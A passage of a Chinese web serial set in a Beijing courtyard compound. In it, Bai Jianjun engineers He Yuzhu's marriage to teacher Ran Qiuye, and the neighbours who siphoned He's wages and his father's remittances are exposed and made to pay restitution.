“你是四合院的？还是居委的？还是街道的？”何雨水警惕的看着白建军说道。“我哥怎么了？” “雨水，谁啊？”刘国栋听到动静，也从里面走了出来。 “来找我的，说要谈我哥的事！” 何雨水十分不情愿的跟刘国栋说道。 “先请人进来吧，哪有在门口说事的道理。” 刘国栋憨厚的对着何雨水说道。 “您请进来吧！” 听了刘国栋的话，何雨水才让开了身子，将白建军让进了门。白建军进了屋刘国栋拿了凳子让白建军和何雨水坐下之后，白建军客气的对着刘国栋感谢之后，就看着何雨水说道。 “您比我大，我叫您雨水姐吧！” “叫什么不过是一个称呼，你还是说说我哥什么事吧！” 何雨水仍然十分防备的看着白建军说道。 “前天在厂子，秦淮茹和易中海和我产生了极大的矛盾。”白建军当着何雨水和刘国栋的面，也直言不讳的说道。“我个人也挺反感四合院的那帮人的，既然他们惹到我了，那我也不是好惹的。所以，我就找到雨水姐你，想借何雨柱的户口本一用！” “你在说什么鬼话，是何雨柱让你来糊弄我，要回户口本的么？” 何雨水根本不相信白建军的话，愤怒的问道。 “明天一早，冉秋叶就会出现在民政局门口。”白建军对于何雨水的愤怒十分理解，认真的看着何雨水说道。“现在就差何雨柱这个人，还有他的户口本一起出现了。” “这是你的报复？”何雨水一下子就明白了白建军的谋划。“这事能成？” “何雨柱就在楼下！”白建军指了指外面。“若是你们能把他押在这里一宿，明早我亲自来接他，你也可以和我一起过去！” “你先跟我说说，你到底和秦淮茹他们发生了什么矛盾！” 何雨水眼里带着希望，但是还是冷静了一下，看着白建军问道。 白建军把昨天中午的事原原本本的说了一遍。 “这个事，当时很多人都在场，我说的是真是假，你到时候一问便知。” 四合院禽兽们的手段，何雨水见过太多次了，哪还不明白易中海玩的是什么套路。 “光有户口本也没用啊！”何雨水看着白建军直接说道。 这句话一说出来，白建军就知道何雨水已经从心里认同了白建军的谋划。白建军站了起来，直接从兜里掏出来一张介绍信放在了何雨水面前。 “这上面没有日期，明天能用上，现填就可以，用不上，也不过是废纸一张！” “你这想的还真是周到啊！” 何雨水拿起介绍信一看就知道这是真的。 “现在唯一的不确定因素，还在何雨柱身上！”白建军示意了一下外面。“要不是趁着现在他心神意乱，四合院那帮禽兽也没反应过来之前把这件事干成，回头何雨柱还会落入四合院那帮禽兽的手里。” “国栋，你下去把我哥叫上来！”何雨水直接看着刘国栋说道。“今天就是拷也要把他拷在咱们家一宿！” “还没听说过谁家妹夫把自己大舅子在自己家里拷一宿呢！” 刘国栋无奈的看着何雨水说道。 “我这个亲妹妹都不觉得他可怜，你倒是心疼他了！”何雨水瞪了刘国栋一眼直接说道。“快去吧，就说我让他上来的，他一准能上来。” “小同志，你先坐！” 刘国栋客气的对着白建军说了一句，就下楼了，不大功夫，刘国栋就把何雨柱领上来了。 “雨水姐，姐夫，我就先走了！”白建军看着不知所措的何雨柱，直接起身跟何雨水告辞。“你们兄妹团聚，我就不在这耽误功夫了！” “路上慢点，我们就不送你了！” 第41章 何雨柱与冉秋叶领证了 白建军回到正阳门这边已经挺晚了，白建华一直都没睡，就等着白建军回来呢。 “你这大晚上干什么去了？”白建军直接看着白建军审问道。 “没有什么事！”白建军笑着和白建华说道。“姐，你早点休息吧，明天还得上班。” 白建华上下左右仔细打量了一下白建军。 “建红告诉我，你和人约架去了？你以前也没这么莽撞啊！” “约人是真的，约架到没有！”白建军摇了摇头说道。“就是谈点事，还去了一趟朝阳那边，这才回来的这么晚！” “有什么事，你得告诉我，不能瞒着我！”白建华伸手点了点白建军的脑袋。“我是你姐，有什么事，咱们一起担着！” “姐，真没什么大事，我这边差不多都快解决完了！” 白建军笑着安慰白建华。 “建军，姐知道你有主意！”白建华仍然不放心的看着白建军说道。“就说我这个工作的事，姐知道都是你的谋划。” “怎么了？在医院干的不顺心了？” 白建军一下子坐正了，看着白建华问道。 “有什么顺心不顺心的，我现在在护理部呆的挺好，就是觉得有些太轻松了。” 白建华摇了摇头说道。 “护理部轻松，你可以主动申请去其他科室轮岗多学习啊。”白建军以为什么事呢。“姐，你还可以找你们院的医生借一些医学类的书籍看一看，若是有机会，你也可以去大学进修，你现在多学一点，以后就能轻松一点。” “进入大学进修就不用想了，名额落不到我头上。”白建华摇了摇头说道。“我回头和高阿姨再聊一下，听一听她的建议。” “姐，只要你坚持学习，你自己不放弃，总是会有机会的！” 白建军颇有深意的说道。 ----------------- 第二天一早，白建军早早就起来了，洗漱之后和白建华打了个招呼，早饭都没吃就走了。等白建军一大早到了何雨水家里，就看见何雨水两口子都顶着黑眼圈，在吃早饭。 “雨水姐，你们不会一宿没睡吧？” “打了一宿的呼噜，太烦人了！”何雨水白了一眼坐在对面喝粥的何雨柱，看着白建军说道。“你吃了么？我哥做的粥，你尝尝！” “你这一大早上来干什么？” 何雨柱见白建军毫不客气的坐下来喝粥，奇怪的看着白建军问道。 “这是我家！” 何雨水没好气的看着何雨柱说了一句，何雨柱直接就闭嘴了。 等都吃完饭了，何雨水从卧室出来，看着白建军和何雨柱直接说道。 “走吧！” 何雨柱以为何雨水两口子都要上班，也没说什么。等到了楼下，刘国栋和何雨柱打了招呼就骑着自行车走了，可是何雨水推着车子并没有要走的意思。 “雨水，你不上班么？” 何雨柱看着何雨水直接问道。 “何师傅，跟我走吧！”白建军笑着看了看何雨柱说道。“等到了地方，你就知道怎么回事了！” “不是，白建军，你这葫芦里到底卖的什么药！” 何雨柱跟着白建军，又看了看推车跟在身后的何雨水，何雨柱是一个头有两个大。 “这也不是去轧钢厂的路啊！” “你们俩一前一后的，这是押犯人呢？” “这是要带我去哪啊？” 这一路上，何雨柱的嘴就没停过，可是无论白建军还是何雨水都没人搭理他。何雨柱也想闹个脾气一走了之，可是想想白建军的武力，想想何雨水以前冰冷的眼神，何雨柱也认命了。 等到了民政局门口，离着老远，白建军就看到穿着藏蓝色外衣，带了一条红白相间围脖的冉秋叶，正在民政局门口来回走动。 “这怎么还把我带到这了，要房子，不得去房管局么？” 何雨柱看到民政局的牌子，看着何雨水疑惑的问道。 “白建军！”冉秋叶看着走在前面的白建军直接招呼了一句，当看到跟在后面的何雨柱和何雨水的时候，不好意思的叫了一句。“何师傅！雨水！” 何雨柱听到有人叫自己，笑嘻嘻的转过身就准备贫两句，可是当他看清楚是冉秋叶的时候，脸上露出一股不可置信的神色。 “冉……冉老师！您……” 何雨柱揉了揉自己的眼睛，磕磕巴巴的叫了一声。 “冉老师，走进那扇大门之前，我还是要跟您多说一句。”白建军看着冉秋叶真诚的说道。“走进那扇大门之后你会面对的是群狼环伺的处境，您做好准备了么？” “还能比我前几年的处境更坏么？”冉秋叶看了何雨柱一眼，看着白建军自信的笑了笑。“之前我都挺过来了，以后也没什么好怕的了！” 看着冉秋叶的笑容，白建军从兜里掏出了介绍信交给了冉秋叶，何雨水也把户口本儿递给了冉秋叶。冉秋叶略带羞涩的从何雨水手中接过户口本儿，然后对着何雨水点了点头，就往民政局里面走。 何雨水转身看了一眼还傻站着没搞清楚状况的何雨柱，没好气的说道。 “你还站在这干什么，跟着进去啊！” 何雨柱一直感觉晕晕的，听到何雨水的呵斥，答应了一声就快步往前撵上了冉秋叶。等看着两人进入到了民政局，何雨水双手合十，嘴里也不停的小声念叨着。 “雨水姐，能做的我们都做了！”白建军看着何雨水笑了笑。“若是到了这个程度还不成，你就放弃吧。之后直接把房子过户到你名下，几十年之后，何师傅不至于闹个无家可归！” 虽然白建军的话不中听，但是何雨水并没有给白建军甩脸子。何雨水也是有这层担忧才从结婚之后就扣着何雨柱的户口本儿。之前何雨水仍然防备着白建军，不然今天何雨水也不会直接过来，而且看到冉秋叶，何雨水也是把户口本儿给了冉秋叶。其实也不能怪何雨水小心，实在是四合院那些禽兽这么多年一出接一出的，何雨水已经怕了，所以哪怕再小心也不为过。 结婚双方都有介绍信，都带了户口本儿，都是非农户口，登记、照相一套流程下来并没有花多少时间，虽然也有人见双方年龄差距挺大的，但是这时候也没人会说什么，民政局的工作人员只会送上祝福。 不到一个小时，冉秋叶和何雨柱就从民政局的大门走了出来。看着手里拿着一个小红本的何雨柱一直在后面偷偷看冉秋叶，白建军和何雨水就知道这事成了！ “恭喜两位了！给您二位道喜了！” 白建军看着走过来的冉秋叶和何雨柱，直接抱拳作了个揖。 冉秋叶脸都羞红了，这时候何雨柱快走一步，对着白建军郑重的抱拳作揖回了一礼。 “您辛苦了！” “你们的喜事也成了，我就不打扰了！”白建军笑着看着何雨柱和冉秋叶说完，又对着何雨水说道。“雨水姐，你们聊，我回了！” “建军……” 何雨水看着转身就走的白建军招呼了一声，看着白建军只是摆了摆手，也没有停下来的意思，何雨水也没有去追。 “哥、嫂子，等你们拜酒的时候，你们俩可得亲自给人家送请柬！” 何雨水看着何雨柱和冉秋叶直接说道。 “那是一定，那是一定的！”何雨柱此时晕乎乎的说道。“你哥我也没什么本事，哪怕他要学我的手艺，我都教给他！” 何雨柱说完，又傻乐了一下，看了看手里的小红本，又看了看冉秋叶和何雨水。 “我这真是有媳妇了？” 见冉秋叶害羞的点了点头，何雨水则直接给了何雨柱一个白眼，何雨柱一把抱住冉秋叶大声的嚷嚷着。 “我有媳妇啦！我何雨柱有媳妇啦！” “你快把我放下来！” 突然被抱起来的冉秋叶惊慌的抱着何雨柱说道。 来往的人群看着撒疯的何雨柱都报以善意的微笑，可是何雨水尴尬的都恨不得找个地缝钻进去了。 “别撒疯了，你不嫌丢人，嫂子还要脸呢！” 何雨水直接呵斥着何雨柱说道。 听了冉秋叶与何雨水的话，何雨柱这才放下了冉秋叶。 “你还是想想回家之后，怎么和院里那些禽兽斗吧！” 何雨水看着激动的何雨柱，一盆冷水就泼到了他的头上。 “斗？姥姥！谁要是敢欺负我媳妇，看我不掏出他们的牛黄狗宝！” 何雨柱直接瞪着眼睛护着冉秋叶。 冉秋叶以前就是被何雨柱保护自己的举动感动了，本以为以后会自己独自面对那些人的明枪暗箭，但是看到何雨柱挡在身前，以及他的话，冉秋叶心里甭提多有安全感了。 “何雨柱，以后我们共同面对。”冉秋叶挽住何雨柱的胳膊坚定的说道。“白建军说过，有什么事，我们可以找警察，可以找街道评理，不用非得和他们硬顶着来。” “嫂子，你别介意！我哥就是这么个脾气！”何雨水看着冉秋叶替何雨柱解释了一句。“不过确实是这么个理儿，院里那就是一帮法盲，天天想着和稀泥！” 看着和谐相处的冉秋叶和何雨水，何雨柱心里甭提多美了。 “事情怎么就到了这一步了呢？”何雨柱想了想也没有想明白，不过随后嘴角就不自觉的翘了起来。“这样的日子才是好日子啊！” 第42章 广而告之 何雨水和冉秋叶又聊了几句私密的话题就骑车子回单位上班了。而何雨柱和冉秋叶也第一时间先去了百货商店买了一大堆喜糖，之后就去了冉秋叶的单位红星小学。 闫阜贵看着给自己发喜糖的冉秋叶和何雨柱，整个人都不好了。闫阜贵也听说轧钢厂那边发生的事了，原本他以为何雨柱这两天消沉一段时间，又会受到贾家和易家的控制，可是谁成想，仅仅两天时间，何雨柱突然就和冉秋叶领证了。 闫阜贵这次不仅没占到何雨柱的便宜，可能还会让贾家和易家认为又是自己给他们两个人牵的线。闫阜贵中午放学的时候，蹬着他那台破自行车赶紧回家里和三大妈通报这个事。 “他爹，这回秦淮茹和易中海的如意算盘是要落空了。” 三大妈看着闫阜贵幸灾乐祸的说道。 “还得先看看。”闫阜贵摇了摇头。“冉老师性子软，傻柱脑子也少根筋。咱们静观其变就好！” 不提闫阜贵一家等着机会占便宜，何雨柱和冉秋叶给红星小学这边送完了喜糖，两口子直接去了轧钢厂。在冉秋叶的要求下，何雨柱直接带着冉秋叶先去了第二食堂旁边的机关楼。 一到人事科，何雨柱直接领着冉秋叶就奔着徐静理来了。 “何师傅，恭喜啊！恭喜啊！” “小徐同志，谢谢您啊！” “您这话客气了，这本来就是我的本职工作！”徐静理心里暗自惊讶了一下，然后笑着说道。“我这早上给您开出去，没想到您这没到中午就给我们送喜糖来了。这喜气来的太惊喜了！” 等到了财务科，财务科的会计和出纳看着联袂而来的何雨柱和冉秋叶和他们送上的喜糖后也都纷纷送上了祝福。说了几句话之后，出纳不经意间就把上个月领工资的记录放到了两个人面前。 何雨柱的工资条上清楚的写着：应发工资48.5元，领取人签名那一栏上是秦淮茹的签名。 冉秋叶面带笑容对对着出纳点了点头，然后就在众人的祝福声中去了下一个科室，等冉秋叶离开，出纳也将工资发放记录收了起来。 何雨柱从李主任那屋开始，一直到下面的人事科、宣传科、财务科以及总务科、司机班等等部门全都走了一个遍，两个人挨着屋的发喜糖。虽然何雨柱爱犯浑，但是现在有冉秋叶在身边，他还真的按照冉秋叶的话对所有人都客客气气的说话。机关楼走完，两个人才往第二食堂去。 何雨柱和冉秋叶不知道，从他们两口子离开机关楼，到中午开饭，机关楼里的话题就没有离开何雨柱、秦淮茹的。 “那个秦淮茹，谁不知道啊！为了一个两个馒头，都能让男人在她身上动手动脚的玩儿意，能是什么好货？” “都叫傻柱、傻柱的，这也不傻啊！” “以前那是被迷了眼呗，前两天那么一闹，这不就开窍了么！” “他媳妇还是个小学老师，看着就文质彬彬的，这不比那小寡妇好多啦！” “甭提那个秦淮茹，离八丈远我都能闻到她身上的骚气！” 听着同事们的小声议论，徐静理、任燕这些知道白建军要搞事的人，没想到真让白建军搞成了，而且还是这么大的事。 “秋叶，这是马华，我徒弟！”何雨柱到了第二食堂后厨，指着马华对着冉秋叶介绍道，然后又对着马华说道。“马华，这是你师娘！” 马华虽然不知道怎么突然冒出来个师娘，但是见师父这么郑重的介绍，直接推金山倒玉柱跪在地上就给冉秋叶磕了一个头。这个冉秋叶都弄懵了，赶紧伸手把马华扶起来。 “这……！现在不兴这个了！” “秋叶，没事的！” 何雨柱直接安慰着冉秋叶说完，又介绍了二食堂里的其他几个大锅菜师傅以及刘岚这些重要人物。当然蔡晓丽、赵小年何雨柱也没忘了介绍。 “你们都是白建军的同学啊，过几天我和何雨柱办婚事，你们都来啊！” 冉秋叶对很多人都说过类似的话，但之前都是客气的话，但是对蔡晓丽和赵小年冉秋叶是真心希望他们能参加自己和何雨柱的婚宴。 冉秋叶不经意的一句真情流露，让在一旁看热闹的刘岚一下子就听出了重点。 刘岚跟了李主任那么多年，哪还不知道秦淮茹的底细，也就是何雨柱以前把秦淮茹当个宝儿。说句不好听的，郭大撇子在秦淮茹身上占的便宜都比何雨柱多，可是当初刘岚提醒过何雨柱，何雨柱还跟她急了，刘岚那个时候就觉得傻柱是真的傻。 何雨柱这么多年了，他自己是不会突然开窍的，肯定是有外因促成的，再结合两天前发生的事，那这背后可能都是白建军为了报复秦淮茹和易中海而干的。 刘岚想了想真的是有些心惊肉跳的，但是仔细一想，自己不仅没有得罪过白建军，而且自己对蔡晓丽平时还不错，就更安心在一旁看戏了。 没多大一会儿功夫，就到了开饭的时候，何雨柱这次没有在窗口那边打饭，直接带着冉秋叶等在了窗口外面。何雨柱是逢人就给送上喜糖，脸上都有些笑僵了。 许大茂也收到了喜糖，而且哪怕许大茂说了何雨柱几句风凉话，何雨柱都没有生气，而且还特意掏出来结婚证显呗！许大茂亲自打开结婚证验看了一遍，还给何雨柱之后，饭都不吃了转身就往外走。 “我就知道这孙子不是个东西。”何雨柱看着冉秋叶小声的说道。“这孙子准是回去四合院报信去了！” “报不报信能怎么样，他们早晚会知道的！”冉秋叶看着何雨柱笑了笑。“一会儿先去我家，雨水下班会去四合院，到时候我们再回去。” “雨水今天也回去？” 何雨柱诧异的看着冉秋叶问道。 “雨水怕我一个人应付不来，所以她回来帮我撑腰！”冉秋叶笑着说道。“都说姑嫂不好相处，我看雨水就很好相处！” “那是，我妹妹吗，打小就懂事儿！” 何雨柱得意的看着冉秋叶说道。 第43章 何雨水大闹四合院 两个人在第二食堂发了一会喜糖，也没留在这边吃饭，直接离开了轧钢厂往冉秋叶家里去了，走在路上，冉秋叶主动挽住了何雨柱的胳膊。 “何雨柱，你先答应我一件事！” “秋叶，什么事，你说！” “以后不能从食堂往家带菜，就算带，也要花饭票！”冉秋叶郑重的跟何雨柱说道。“这样的小便宜以后不要占了！” “厨子带菜，都是老规矩了！” 何雨柱不以为意的说道。 “何雨柱，这是原则问题。有些规矩是对的，但有些规矩是不对的。”冉秋叶停住了脚步，认真的看着何雨柱说道。“以你的手艺，评个六级都够了，但是你现在还是四级工的标准，就是因为你有这样那样的小毛病，你不在意，但是有人在意！” “咱们两个是两口子了，以后还要有孩子！”冉秋叶非常郑重的跟何雨柱说道。“父母是孩子的榜样，我不希望我们身上的缺点都被我们的孩子学去了。” 何雨柱原本还有些不乐意，但是一听冉秋叶说孩子，那所有的不乐意全都飞到了九霄云外。 “我答应，你说什么我都答应！” 见何雨柱能听进去自己的话，冉秋叶也松了一口气，而且冉秋叶发现何雨柱在乎的东西很简单，媳妇、孩子还要加上一个妹妹。 两个人腿儿着就去了冉秋叶家，这一路上走了挺长时间，可是两个人愣是不觉得累。冉秋叶家里现在只有一个老父亲，身体还稍微不太好，还有前几年冉秋叶也出了事扫了大街，不然以冉秋叶的长相和气质，真不一定能轮到何雨柱。 冉父也没想到，早上女儿出去，下午就领回来一个女婿。虽然对何雨柱的岁数有些不满意，但是看到女儿那开心的样子，冉父还是对何雨柱和颜悦色的。何雨柱是受宠若惊，更别说现在这位还是自己的老丈人，那更是好话不断。就在这样和谐的氛围下，何雨柱和冉秋叶待到快5点了，才从冉家离开。 两人回到四合院的时候，何雨水和刘国栋两个人都来了，而且刘国栋还特意把这片的一个片警找来。三人都坐到了何雨柱家里的正屋。四合院这边的人家，哪怕是最跳的许大茂都猫回了后院，中院里的几家更是大气都敢多出一口，不少人都偷偷的藏在玻璃后头看戏。 见到何雨柱和冉秋叶回来，何雨水直接就去贾家敲门。 “雨水！快屋里坐！” 秦淮茹打开门，直接往屋里让何雨水，可是何雨水不为所动。 “秦姐，你帮着我哥带开了好几个月的工资，每个月就给我哥10块钱。”何雨水看着秦淮茹直接发难。“以前麻烦您帮着我哥保管了，现在我哥结婚了，这个钱得给我嫂子了！” “雨水，钱我都准备好，我这就取去！” 秦淮茹好像早就做好了准备，什么也没有多说，直接转身回屋去取钱。何雨水听到屋里贾张氏嘴里不干不净的，何雨水也没有和她一般计较。等接过秦淮茹的钱，当面数清楚后直接给了冉秋叶。 “秦姐，我原来住着的那间偏房，现在是你们家人住着呢吧！”何雨水直接看着秦淮茹继续发难。“以前就算了，您还是让您家孩子尽快腾出来吧，不然我回来的时候，都没地方住了！” “雨水，孩子们都大了，我们家也实在住不开，也不方便。”秦淮茹委屈的眼泪直接就掉了下来。“你看你也不常回来住，你回来，我再让孩子们到地方，行不行！” “我爸身体不好，我准备把他接过来照顾照顾，秦姐，您还是想想别的办法吧！” 冉秋叶直接上前一步站到了何雨水身旁看着秦淮茹说道。 “雨水，你秦姐家人口多，棒梗年龄也大了，他们家就这么一个小子，也实在是不方便。”一大妈这个时候像是出来干活，正好顺道替秦淮茹求情的说道。 “一大妈，我谢谢您之前的照顾，您先回去吧！”何雨水对着一大妈好言说道，一大妈说了一句见何雨水不为所动，叹了口气就转身回屋了。 “院里的人听着，我爹是走了，不是死了！”何雨水直接扯着脖子喊了一嗓子。“要是找，还能找到的，我倒是想问问他，这么多年，为什么不管我和我哥。临走的时候，直接把家里的钱都拿走，他是想让我们兄妹俩饿死么？” “当啷！” “当啷！” “哎呦！” 整个中院，突然传来数声响动。 “这姑奶奶，怎么提起这么一茬子事啦！” 易中海在家中惊讶的看着站在院里的何雨水。 秦淮茹同样也听到了自家的响动以及贾张氏的叫声，看都不敢看何雨水，就想往屋子里面走。 “琴姐！”何雨水一下子叫住了秦淮茹。 “搬，赶紧搬！” 贾家的屋子里，传来了急促的催促声。 “我这就让小当和槐花把棒梗的东西搬出来！” 秦淮茹仍然是眼泪汪汪的看着何雨水说道。 “槐花妈妈，谢谢你这么多年帮着我照顾何雨柱了！”冉秋叶微笑的对着秦淮茹稍微欠了欠身子。“我和何雨柱已经领证了，以后我会好好照顾何雨柱的，就不麻烦您了！” “冉老师……！”秦淮茹心里都要恨不得掐死冉秋叶了，可是面上仍然是一副可怜巴巴的模样。“我先让孩子们搬东西了！” 何雨水和冉秋叶也没有再逼迫秦淮茹，而是转身往中院的正屋而去。不大功夫，中院正屋就传来了饭菜的香气！ 等到吃完饭，何雨水和刘国栋送南锣鼓巷这边的片警出门的时候，刘国栋笑着和这位片警说道。 “孙大哥，我老丈人的事，还是要让您多费心。您看这么多年了，我媳妇还是希望能联系上我老丈人！” “小刘，这你放心，本就是分内的事，怎么说何大清的户口还在我们这片，这多少年见不着人，也有些说不过去！” “孙大哥，让您费心了！” “小刘，弟妹，留步，留步！” 等何雨水和刘国栋回到了何雨柱的屋子，何雨水指着何雨柱的鼻子大声的咆哮道。 “这么多年，你到底让人家占了多少便宜？双份的票据啊！你这家里愣是能饿死耗子！” “明天我说什么也要找街道给我评评理！” 第44章 不是不报时候未到 晚上从学校机修厂回到家的白建军正做饭呢，夏建红、徐静理、任燕、蔡晓丽以及图强、赵小年他们一大帮人一起来到了白建军家中，众人都用看神仙一样的眼光看着白建军。 “你们这都是什么眼神啊！” 白建军看着众人不由有些发毛，直接问了一句。 “白建军，这是何师父和冉老师托我给你带过来的请帖，他们俩这周日要办喜事！” 蔡晓丽直接掏出一张大红的请帖先递给了白建军。 “这么快？” 白建军接过请帖，诧异的说了一句。 “大夫，还有更精彩的，你想不想知道？” 图强直接看着白建军手里的请帖笑着问道。 “家里可没准备你们这么多人的饭，你要是想讹我，今天我也没办法！” 白建军摊了摊双手，开玩笑的说道。 “切，谁是为了吃你的饭来的！”徐静理笑骂着说了白建军一句，然后看着图强说道。“强子，你就别卖关子了，赶紧告诉他吧，也让他乐呵乐呵！” “白大夫，你可是不知道，何师傅他们院子的事儿已经在厂子里传遍了！”图强幸灾乐祸的说道。“这何师傅的妹妹，在他们结婚当天就回了四合院，不仅要回秦寡妇吞了何师傅的工资，还把贾家占据何家的房子给要了回来。” “难怪何师傅有钱请客了呢！” 白建军看着手里的请柬，笑着说了一句。 “这才哪到哪啊！”图强摆了摆手看着白建军说道。“第二天的事更精彩！你都猜不到贾家和易家干了多少不是人的事。” “这事我知道！” 二喜直接举手说道。 “二喜，你跟白大夫好好说说！” 强子想想就觉得可乐，直接把主讲的位置让给了赵二喜。 “我听说第二天何师傅的妹妹直接找来了街道和派出所的人，居委会的人也去了，只是不知道是谁找去的。”二喜看着白建军直接说道。“派出所联系上了何师傅他爸，何大清说临走的时候不仅给何师傅兄妹留钱了，而且他安稳之后，每个月都给何师傅他们寄钱，直到何师傅的妹妹20了，才算停下来。” “最主要的是，何师傅兄妹俩根本就不知道何大清留钱，当时那将近200多块钱就不翼而飞了。”二喜摇头晃脑的看着白建军说道。“最可气的是何师傅他爸寄回来的钱，都是易中海那个伪君子收的，他当初贴补何师傅兄妹的钱，实际上都是人家亲爹寄回来了。好人全让他做了，骂名全给人家留着了，易中海伪君子的名声是坐实了！” “厂子已经商量准备让他提前退休了！”徐静理一直绷着，直到这时候才说出了她知道的一个信息。“而且准备先撤销他八级工的职称之后，再根据实际考核结果重新定他的待遇。” “他那水平，现在还能达到六级工就不错了。”强子不屑的说道。“刘师傅是他们一个院的，这话是他说的。” “哪怕易中海是以六级工的身份退休，他也比大多数人要过的好。”白建军摇了摇头说道。“这算便宜他了。” “哪便宜了，凡事就怕较真。”徐静理摇了摇头否定道。“秦淮茹不仅占着何师傅的工资，何师傅他们家两个人的票据都让贾家把持着，这么多年下来，那数海了去了！” “贾家赔了？” 白建军看着徐静理、二喜他们问道。 “不赔？贾家两个大人全都得进笆篱子。” 强子幸灾乐祸的说道。 “赔了，不过是易中海赔的，最后赔了何家800块钱！” 二喜也同样幸灾乐祸的说道。 “听刘师傅说，贾张氏听到一算下来要赔1000多，直接就耍无赖了。”强子想想那个画面又乐出了声。“不过街道主任一个眼神，贾张氏就吓尿了。最后更是喊了一句：易中海，我们贾家活不下去，你也甭想好过！” “你猜易中海怎么说的？” 强子表演完，还不忘逗逗白建军。 “你们贾家和何家的事跟我有什么关系！” 白建军看着强子直接严肃的说道。 “对！太对了！”强子直拍大腿的说道。“刘师傅形容的，估计就是你这个样子！” “后来贾张氏说了什么让易中海就范的？” 白建军看着强子已经快要笑死的模样，直接看着其他人问道。 “那个贾张氏指着转身要走的易中海，直接说：你这个臭不要脸的老流氓，你占了我，还有这个骚货……” 二喜也演上了。 “别瞎指啊，别说我们挠你啊！” 女生们赶紧往两边躲开二喜的正面，王美丽直接呵斥二喜一句。 “嘿嘿！” 二喜赶紧停下了表演。 “易中海当时一个转身，咬牙切齿的蹦出来两个字！”强子直接接过了二喜的话茬。“我给！” “不仅易中海名声臭了，秦淮茹的名声也臭了。”提到这个名字，徐静理都厌恶。“秦淮茹本来就是临时工的身份，厂子已经把她开除了。” “我估计，何师傅还是心软了吧！”白建军看着大家说道。“他要是不给两家求情，估计那两家的事儿不会小了。” “这你可猜错了！何师傅都要拿刀砍人了，是众人拦着，再加上冉老师劝着，何师傅才消停下来。”强子摇了摇头说道。“最后还是冉老师只让他们两家赔钱，而且还免了大部分，所以最后只要了贾家800。易中海这一下子拿出来好几千块钱，可以说是削肉剃骨了。” “好人就应该有好报，恶人自然就应该有恶报！” 白建军并没有同情贾家和易家。 “还不止于此呢！”蔡晓丽把她听说的事也说了出来。“街道那边对于辖区发生了这样的事异常重视，直接把他们两家撵出四合院，而且还详细给他们院进行了政策说明。 他们院那面模范四合院的锦旗直接就让街道的人扔灶坑里了，而且街道还让贾家和易中海限期把房子腾出来！” “在京城再买房子对于易家不算什么难事，只是他们原本让何师傅养老的算盘可是彻底黄了！”白建军不以为意的说道。“至于贾家，以后想要在京城立足可难了。虽说他们那院的许大茂的媳妇是秦淮茹的堂妹，可是以许大茂那两口子的为人，可不会管他们贾家的事！” “嘿嘿，贾家能不能立足，这事儿谁也说不准！” 强子高深莫测的说了一句。 男生们听了强子的话，都露出一副讳莫如深的笑容，反观女生们也都明白强子说的是什么意思，毕竟厂子里的那帮老娘们儿可是什么难听的话都说的出来。 “呸，不要脸！” 女生们一回想起来那些老娘们说的话，不由纷纷冲着地上呸道。 白建军自然也明白男生们那副笑容的意思，不由手摸了摸下巴，寻思是不是过后再给棒梗上点手段，让贾家彻底没了指望。 “这怎么还有糊味儿啊！” 白建华从外面推着自行车走了进来，看着厨房门口围着的一帮人问道。 “坏了！” 白建军回头看向了锅，只见菜已经都糊了。 “得，今儿个你们的故事，听的我高兴，咱们都上外面吃一口去！” 白建军把锅端了下来，脱下了围裙，看着众人直接说道。 第45章 傻柱报恩欲传艺 白建军的这些同学们并没有留在这边吃饭，大家和白建军和白建华道别之后，就都各回各家了。真要是像白建军说的在外面大吃一顿，白建军就得大出血，谁家过的都不容易，大家伙这点眼色还是有的。 不过大家也约了开工资之后再在白家小聚一下，虽然大家都顶着临时工的身份，一个月最多拿18块钱，可这笔钱也是他们挣的第一笔工资，除了大部分要上缴家里，个人还能留下个一块两块的。 大多数人都走了，不过白建华还是叫住了徐静理、夏建红和任燕，白建华让白建军继续做饭，就把三女带到正屋详细询问了这段时间发生的事。现在事情已经明朗了，徐静理她们三个也就实话实说了，只是三人知道的都是一部分，哪怕她们三个说完之后，也只是拼凑出个大概情况。 白建军把菜都端上桌了，白建华坐在正位上看着白建军不说话，也不动筷子，其他三女也都坐在白建华两侧。 “我怎么感觉，你们这架势好像是要三堂会审一样啊！” 白建军打着哈哈看着四人说道。 “白建军，你还是从实招来的好！” 白建华一拍桌子，看着白建军说道。 白建军没被吓到，徐静理她们三个反倒被吓了一跳。 “你们三个怕什么啊，我吓唬他呢！”白建华直接无奈的说道。“这一下子，气氛全没了！” “咯咯！”“咯咯！” 白建华说完，她们四个全都笑了起来。 “冉老师是我联系的！”白建军看她们笑完了才说道。“冉老师以前差点就和何师傅走到一起，不过被秦淮茹搅和了。冉老师要是和何师傅没有感情基础，或是冉老师已经结婚了，那事情也成不了。” 见几女都点了点头，白建军继续说道。 “至于何师傅，我是武力威胁他，之后又找到雨水姐。”白建军笑着说道。“有雨水姐的羁绊，再有我武力的威慑，这才让何师傅猫在了雨水姐家里。最主要的是，我就是打了四合院那边一个措手不及，快速把事情办了。” “我和雨水姐聊天的时候，我把关于她爸的疑虑提了出来，并且让她忍着反感，先问问她爸那边以前的情况。”白建军摇了摇头说道。“我只是提供了一个建议，只是没想到，这里面真有这么大的事！” “那以前何师傅还有他妹妹怎么没想着找他爸问问呢？” 徐静理疑惑的看着白建军问道。 “我听说以前何师傅带着雨水姐去找过，可是他爸没见他们！后来何师傅自己带着雨水姐，也就放弃了对他爸的指望。”白建军唏嘘的说道。“两边不沟通，信息不对等，这不就让易中海他们这帮小人钻了空子么！ 这次雨水姐通过派出所联系上他爸，也不是让他爸回来，就是问一问当年的一些情况。这也不会让何大清现在的生活有什么影响，所以他能实话实说。” “竟然这么简单？” 徐静理没想到，白建军只是说服了冉秋叶和何雨水，就把这个事情办成了，白建军顶多算是起到了穿针引线的作用。 “我只是因势利导而已，这件事能成功，更多是冉老师、何雨水以及何雨柱，甚至再加上一个何大清，他们之间消除了误解。”白建军笑着说道。“你们看，这一家子要是能团结起来，那外面的小人就没有可乘之机了。” “你还给我们上起课来了！”白建华看着侃侃而谈的白建军，直接不再搭理他，而是招呼徐静理她们三个。“你们也赶上饭点了，在这吃一口再回去！” “你们先吃着，我再去给你们炒个鸡蛋去！” 白建军说完赶紧起身往厨房走，他可是怕了这几位姑奶奶。 ----------------- 转眼就来到了周日，这天一大早，白建军就早早的起来，练了两趟拳之后，就在家等着。何雨柱今天结婚，不仅给白建军发了喜帖，给徐静理也发了喜帖，至于在二食堂干活的蔡晓丽他们，也都收到了喜帖。 